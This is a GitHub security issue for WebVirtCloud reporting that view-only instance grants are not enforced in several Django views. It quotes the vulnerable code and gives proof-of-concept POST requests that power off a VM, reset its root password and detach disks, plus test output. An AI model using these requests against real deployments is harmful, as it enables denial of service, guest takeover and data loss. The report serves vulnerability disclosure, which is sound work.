Skip to content

View-only instance grant (is_change=False) can still power off, reset root password, inject SSH key, mount ISO and detach disks #682

Description

@geo-chen

Summary

WebVirtCloud lets an administrator grant a user access to a specific instance with three independent flags on the UserInstance grant: is_vnc (may open the console), is_change (may modify the VM) and is_delete (may delete the VM). A grant with all flags False is meant to be read-only: the user can see the instance but must not be able to change or control it.

Most state-changing instance views do not check these flags. They only verify, via get_instance(), that the user holds some grant for the instance. As a result a user who was given a view-only grant (is_change=False, is_delete=False, is_vnc=False) can still power the VM on and off, reset the guest root password, install an SSH public key into the guest, mount and unmount ISO images, and detach the VM's disks. A small set of sibling views (resizevm_cpu, resize_memory, resize_disk, change_options, update_console) correctly enforce is_change/is_vnc, which shows the flags are intended to be enforced everywhere.

Details

The grant model (accounts/models.py):

class UserInstance(models.Model):
    user = models.ForeignKey(User, on_delete=models.CASCADE)
    instance = models.ForeignKey(Instance, on_delete=models.CASCADE)
    is_change = models.BooleanField(default=False)
    is_delete = models.BooleanField(default=False)
    is_vnc = models.BooleanField(default=False)

The shared gate (instances/views.py, lines 316-330):

def get_instance(user, pk):
    """
    Check that instance is available for user, if not raise 404
    """
    instance = get_object_or_404(Instance, pk=pk)
    user_instances = user.userinstance_set.all().values_list("instance", flat=True)

    if (
        user.is_superuser
        or user.has_perm("instances.view_instances")
        or instance.id in user_instances
    ):
        return instance
    else:
        raise Http404()

get_instance() only answers "does this user hold a grant for this instance?" It does not look at is_change, is_delete or is_vnc. Any view that authorizes with get_instance() alone treats every grant as full control.

Views that correctly enforce the flag (the intended pattern), e.g. resizevm_cpu (lines 538-573):

def resizevm_cpu(request, pk):
    instance = get_instance(request.user, pk)
    try:
        userinstance = instance.userinstance_set.get(user=request.user)
    except Exception:
        userinstance = UserInstance(is_change=False)
    ...
    if request.method == "POST":
        if request.user.is_superuser or request.user.is_staff or userinstance.is_change:
            ...
            instance.proxy.resize_cpu(cur_vcpu, vcpu)

The same is_change check appears in resize_memory (line 587), resize_disk (line 636) and change_options (line 1541), and update_console (line 1479) checks is_vnc.

Views that DO NOT enforce the flag (the bug). They call get_instance() and then act:

poweroff (lines 356-363), also poweron, powercycle, force_off:

def poweroff(request, pk):
    instance = get_instance(request.user, pk)
    instance.proxy.shutdown()
    addlogmsg(request.user.username, instance.compute.name, instance.name, _("Power Off"))
    return redirect(request.META.get("HTTP_REFERER"))

set_root_pass (lines 473-500) resets the guest root password:

def set_root_pass(request, pk):
    instance = get_instance(request.user, pk)
    if request.method == "POST":
        passwd = request.POST.get("passwd", None)
        if passwd:
            passwd_hash = crypt_r.crypt(passwd, "$6$kgPoiREy")
            data = {"action": "password", "passwd": passwd_hash, "vname": instance.name}
            if instance.proxy.get_status() == 5:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((instance.compute.hostname, 16510))
                s.send(bytes(json.dumps(data).encode()))
                ...

add_public_key (lines 503-535) installs an SSH public key into the guest. Note it also fetches the key with no owner filter:

def add_public_key(request, pk):
    instance = get_instance(request.user, pk)
    if request.method == "POST":
        sshkeyid = request.POST.get("sshkeyid", "")
        publickey = UserSSHKey.objects.get(id=sshkeyid)   # any user's key id
        data = {"action": "publickey", "key": publickey.keypublic, "vname": instance.name}
        if instance.proxy.get_status() == 5:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((instance.compute.hostname, 16510))
            ...

detach_vol (lines 887-900) and mount_iso/unmount_iso (lines 955-967): gated only by a template check, not by is_change:

def detach_vol(request, pk):
    instance = get_instance(request.user, pk)
    allow_admin_or_not_template = (
        request.user.is_superuser or request.user.is_staff or not instance.is_template
    )
    if allow_admin_or_not_template:
        dev = request.POST.get("dev", "")
        instance.proxy.detach_disk(dev)

So for a normal (non-staff) user with a view-only grant on a normal (non-template) instance, allow_admin_or_not_template is True and the disk is detached.

The instance ids are sequential integers exposed in the instance list (/instances/) and in every URL, so a user always knows the pk of the instances they were granted; the attack uses an instance the user WAS granted (view-only), so no guessing is needed.

PoC

Set up: as admin, create a user and grant them access to one instance with all flags unchecked (Instances -> instance -> Owners, add the user; in the admin the UserInstance row has is_change=False, is_delete=False, is_vnc=False). Log in as that user.

The following requests all succeed despite the view-only grant. Replace ID with the granted instance's pk and reuse the session cookie + CSRF token from a normal page load.

Power off the VM (no is_change needed):

POST /instances/ID/poweroff/ HTTP/1.1
Cookie: sessionid=...; csrftoken=...
Content-Type: application/x-www-form-urlencoded

csrfmiddlewaretoken=...

Reset the guest root password:

POST /instances/ID/rootpasswd/ HTTP/1.1
Cookie: sessionid=...; csrftoken=...
Content-Type: application/x-www-form-urlencoded

csrfmiddlewaretoken=...&passwd=AttackerPass123!

Detach a disk:

POST /instances/ID/detach_vol/ HTTP/1.1
Cookie: sessionid=...; csrftoken=...
Content-Type: application/x-www-form-urlencoded

csrfmiddlewaretoken=...&dev=vdb&path=/var/lib/libvirt/images/disk.qcow2

Observed result from the real view code (recording mock on Instance.proxy, libvirt stubbed only at the hypervisor boundary; the authorization layer is unmodified):

SEED: inst_a.pk=7 (vouser view-only grant)  inst_b.pk=8 (NO grant)
LOGIN: vouser logged in
=== A) view-only user (is_change=False) acting on GRANTED instance A ===
[poweroff A]
   http=302  hypervisor_calls=['shutdown']
[set_root_pass A]
   http=EXC:ConnectionRefusedError:[Errno 111] Connection refused  hypervisor_calls=[]
[add_public_key A (victim key)]
   http=EXC:ConnectionRefusedError:[Errno 111] Connection refused  hypervisor_calls=[]
[detach_vol A]
   http=302  hypervisor_calls=['detach_disk']
[mount_iso A]
   http=302  hypervisor_calls=['mount_iso']
=== B) SAME view-only user, SIBLING resize views (is_change enforced) ===
[resizevm_cpu A (is_change gate)]
   http=302  hypervisor_calls=[]
[resize_memory A (is_change gate)]
   http=302  hypervisor_calls=[]
=== C) cross-user IDOR control: same user on NON-GRANTED instance B ===
[poweroff B (no grant -> should 404)]
   http=404  hypervisor_calls=[]

Reading the output:

  • poweroff/detach_vol/mount_iso reached the real hypervisor calls (shutdown, detach_disk, mount_iso) for a view-only user.
  • set_root_pass and add_public_key passed authorization and ran the code that opens a socket to host:16510; the ConnectionRefusedError is only because the test box has no guest-agent listener. On a real deployment these reset the root password and inject the SSH key.
  • The gated siblings resizevm_cpu/resize_memory made no hypervisor call for the same user (is_change correctly enforced).
  • poweroff on a non-granted instance returned 404 (cross-user access correctly blocked).

Impact

A user who was deliberately given read-only access to a VM can fully control it: power it off (denial of service), reset the guest root password and inject an SSH key (full guest takeover after the next boot), mount or unmount ISO media, and detach the VM's disks (data loss). The protection the administrator selected when choosing a view-only grant is silently ignored for these actions, while the resize/console actions correctly honor it. Additionally, add_public_key looks up the SSH key by id with no ownership filter, so any stored public key can be selected for injection.

Affected Versions: all current versions, confirmed on commit 1b2da68

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions